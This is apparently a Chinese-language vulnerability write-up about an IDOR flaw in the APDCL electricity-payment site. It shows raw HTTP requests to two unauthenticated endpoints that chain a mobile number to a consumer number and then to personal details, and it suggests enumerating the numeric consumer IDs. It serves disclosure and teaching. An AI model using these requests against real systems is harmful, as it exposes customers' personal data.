访问控制:
访问控制是对谁或什么有权执行操作或访问资源进行限制。在 Web 应用程序环境中,访问控制依赖于身份验证和会话管理:
-
身份验证可确认用户确实是其所说的身份。
-
会话管理识别同一用户发出了哪些后续 HTTP 请求。
-
访问控制决定用户是否被允许执行他们试图执行的操作。
不安全的直接对象引用(IDOR):
当应用程序根据用户提供的输入提供对对象的直接访问时,就会发生不安全的直接对象引用 (IDOR)。不安全的直接对象引用允许攻击者通过修改用于直接指向对象的参数值来绕过授权并直接访问资源。这是因为应用程序接受用户提供的输入并使用它来检索对象而没有执行足够的授权检查。
我访问了 APDCL 网站来支付电费。我之前已经注册过,所以我直接进入了登录面板。当我访问登录面板时,我看到有一个输入手机号码的选项。登录流程如下:您输入您的手机号码,服务器向您的手机号码发送一个 OTP,通过这个 OTP,您就可以登录网站。
接下来,我检查了我的代理工具 Burp Suite 捕获的所有流量。
我遇到了几个端点,但引起我注意的是以下几个:一个端点/website/myBijulee/fetchConsumer正在通过mobile_no查询参数使用消费者的手机号码获取电力消费者号码。
此端点未经身份验证,因此任何人都可以简单地输入任何手机号码。如果记录存在,服务器将返回客户的消费者号码。
请求 1:
POST /website/myBijulee/fetchConsumer?mobile_no=<mobile_number> HTTP/1.1
Host: www.xxx.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.xxx.org/website/
Origin: https://www.xxx.org
Content-Length: 0
Te: trailers
Connection: close
我发现的下一个端点改变了一切。此端点/cbs/RestAPI/myBijulee/ConsDetails通过cons_no查询参数获取消费者详细信息。我记得我已经找到了一个通过手机号码获取消费者号码的端点。
请求 2:
POST /cbs/RestAPI/myBijulee/ConsDetails?cons_no=<consumer_number> HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.xxx.org/
Origin: https://www.xxx.org
Connection: close
因此,如果我们知道他们的手机号码,我们就可以检索任何人的个人详细信息,或者直接强制执行cons_no查询参数,因为消费者号码输入是数字。
一个非常简单但影响巨大的漏洞。任何攻击者,无需任何权限,都可以通过利用未经身份验证的 API 端点获取所有消费者数据,从而可能导致大规模数据泄露。
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。